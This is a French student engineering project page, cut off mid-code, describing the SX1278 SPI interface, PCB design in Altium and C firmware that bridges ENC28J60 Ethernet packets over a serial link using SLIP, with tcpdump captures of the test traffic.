Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
